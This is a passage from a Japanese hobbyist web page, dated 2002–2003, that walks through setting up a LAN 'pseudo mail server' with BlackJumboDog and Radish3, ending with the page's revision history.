以上の設定は、あくまで今回の目的とは違う為、無効にしたものです。
それぞれの機能を使用する方は、その設定で運用してください。
さて、いよいよメールサーバーの設定に入ります。
間違えないように、しっかり設定しましょう。
「設定(O)」をクリックし「メールサーバ(M)」を選択します。
以下のような画面がでますので、「メールサーバを使用する」のチェックを入れます。
各項目を設定しましょう。
「ドメイン名」には「3.メール転送サービス」で取得したホスト名を入力します。
「メールアドレス一覧のURL」というのは、特に使用しませんので空白にしておきましょう。
その他は、今のところ初期値のままでいいでしょう。
設定したら、インターネット転送のタグをクリックします。
インターネット転送がまだ無効になっているので「インターネット・メール転送を使用する」をクリックして有効にします。
各項目を設定します。
「送信(SMTP)サーバ」は使用しないので、空白にします。「ポート」も0にしておきましょう。
「受信(POP3)サーバ」は、「3.メール転送サービス」で設定した、転送先のメールサーバーを設定します。「ポート」は恐らく110だと思いますが。
「サーバーにメールを残す」は、お好みでどうぞ。メーラーに同じ設定がありますよね。
「APOP」を使うは、「受信(POP3)サーバ」で設定したメールサーバーがAPOP対応なら、チェックを入れてください。
「アカウント」「パスワード」「メールアドレス」は「受信(POP3)サーバ」にアクセスする為のものを設定してください。これもメーラーで設定しているモノと同じだと思います。
「振り分けの方法」は、「ユーザ名」にチェックを入れます。
「送受信のスケジュール」については、こちらを参考に設定してください。
3つのチェックボックスは、ダイアルアップ使用時にもに有効です。ダイアルアップ未使用時には無効になります。
【ダイアルアップ使用時】
【ダイアルアップ未使用時】
インターネット転送の設定が終わったら、次は中継許可のタグをクリックします。
中継許可とは、SMTP送信が使用できるクライアントを指定するものです。
「名前(表示用)」は、任意のもので結構です。この項目は、ここ以外で使用されることはありません。
「アドレス」は、許可するクライアントのIPアドレスを入力します。
項目を入力ごとに「追加」をクリックしましょう。
IPアドレスの指定方法は、こちらをご覧下さい。
中継許可の設定が終わったら、次は利用者のタグをクリックします。
ここで、メールアカウントの登録を行ないます。
今回は
6.メール受信(Outlook Express)
次は、BJDからメールの受信を行なってみましょう。
基本的に、プロバイダや外部のメールサーバーを使用する場合の設定とほとんど変わりません。
ただ、メールサーバーの指定に、BJDが稼動しているマシンのIPアドレスを設定するだけです。
ここでは、アカウント情報だけを参考値として挙げておきます。
【OE設定】
送信に関しての設定はまだできていないので、この時点でメール送信はしないで下さい。
アカウントが登録できたら、メールの受信テストをしてみましょう。
すでに、BJDのメールボックスには、メールが保存されているはずなので、これが受信できるはずです。
同じように、他のアカウントでも受信してみましょう。
他の端末があれば、そちらでもテストしてみて下さい。
以上で、外部メールサーバーの中身をLAN内に取り込むことができました。
7.メール送信(Radish3)
疑似メールサーバーの最後の鬼門、送信設定です。
送信に関しては、プロバイダ、もしくは現在使用しているSMTPサーバーが使える場合もあります。
しかし、σ(^_^)が今回使用しているヤフーメール等は、メールアドレス(ドメイン)が違う場合の送信を禁止しております。
この場合は、独自でSMTPサーバーを用意しなければいけません。
この為、今回は、Radish3を使用することにします。
まずは、こちらで最新のバージョンをダウンロードしましょう。
必要なのは「実行ファイル」です。
まず、ダウンロードしたファイルを解凍しましょう。
解凍がわからない方はこちらのサイトでお勉強してきてください。
圧縮ファイルを解凍すると、以下のようなファイルが展開されます。
実行する前に、実行するべきフォルダに移動しておいて下さい。(Program Files等)
移動できたら、「Radish.exe」をダブルクリックします。
Radishが起動すると、右下のタスクトレイに小さな大根のアイコンが表示されます。
表示されたアイコンをダブルクリックすると、以下のような画面が表示されます。
初期状態では、Radishの受信ポートが25ポートに設定されています。
しかし、25ポートはBJDで使用することになる為、Radishのポートを変更する必要があります。
「設定−SMTP/POP3 サーバ」を選択します。
この画面の内容はそのままでいいでしょう。
「SMTPサーバ」をクリックします。
ポート番号が25になっているので、変更します。
ここでは8025にしています。
それ以外の設定に変更はありません。
設定を変更したら「OK」をクリックします。
この画面でさらに「OK」をクリックします。
そのままでは設定が反映されない為、サーバー(Radish3)の再起動を行ないます。
「ツール(T)」をクリックし「サーバ再起動(Z)」を選択します。
以下のような「SMTP-SERVER Started.」というメッセージが表示されればOKです。
クライアントはメール送信時に、直接Radish3にメールを送ればいいのですが、今回はLAN内メールを同時に使用できるようにする為、すべてのメールはBJDを経由します。
Radish3に限らず、プロバイダなどのSMTPサーバーも同様ですので、以下のように設定して下さい。
BJDの画面から、「設定(O)」をクリックし「メールサーバ(M)」を選択します。
この画面で「サーバ配信」タグをクリックします。
「サーバ配信を使用する」にチェックを入れ、以下の通りに設定します。
最後に「OK」をクリックするのを忘れずに。
以上で、疑似メールサーバーの設定は完了です。
今後、BJDやRadish3に何らかの機能が追加されると、また違った使い方も出てくるかも知れません。
8.補足
いかがでしたか?
今回の内容はBJDサポート掲示板での情報を元に作成したものです。
最初、この使い方を見たときは目からうろこが落ちました。
しかしながら、BJDにこういう使い方があるということで、この情報をまとめてみようと考えておりましたが、やっと実現しました。
さすがにこの手順に関しては、参考にするサイトなどなさそうなので、自前で作ってみました。
見難さ大爆発ですが、お許しくださいませ。
あと、この擬似メールサーバーには、現時点で対応できない不具合があります。
(※)注意書き
|
修正履歴
[2002年3月28日]
第2章、追加しました。
実際に鯖構築にあたっての、設定方法などを・・・書いてません。(^_^;)
設定内容は、他のサイトへのリンクでお茶を濁してしまいました。m(_ _)m
細部も詰めていませんので、嘘、間違い、勘違いなどあると思いますので、どしどしご意見よろしくです。
追って、多少の装飾は入れていきます。
[2002年5月2日]
ICSについての解説サイトへのリンク追加
お茶濁しのリンクですが、よさそうなサイトがありましたので貼ってみました。
98SE、Me、2000の全てを網羅しているので、ここを選んでみました。
某企業の1コンテンツではありますが、わかりやすく解説してくれていると思います。
[2002年5月6日]
鯖稼動前の分室をここに移動しました、開店休業中。YBBサーバー設置プロジェクト 2001.11.24
[2002年6月25日]
第3章、追加しました。
例のごとく他サイトへのリンクに頼ってます。
メル鯖については、Radish3がベータバージョンで公開されていますが、とりあえずBJDを使用したものを紹介しています。
結構安定しているので、これでいいかも。
Radish3については、いずれ解説しましょう。
第1章 6.YBBからの・・・、に80ポートへの変更を追記しました。
第2章、5.セットアップ・BlackJumboDog編、修正しました。
BJDのセットアップ方法について、簡単な解説を追記しました。
修正履歴を最下部に移動しました。
[2002年12月23日]
「番外編1・擬似メールサーバー」を追加しました。
一部文章を修正しました。
フレーム構成にしてみました。
[2003年10月12日]
文中のリンク切れ・URL変更を修正。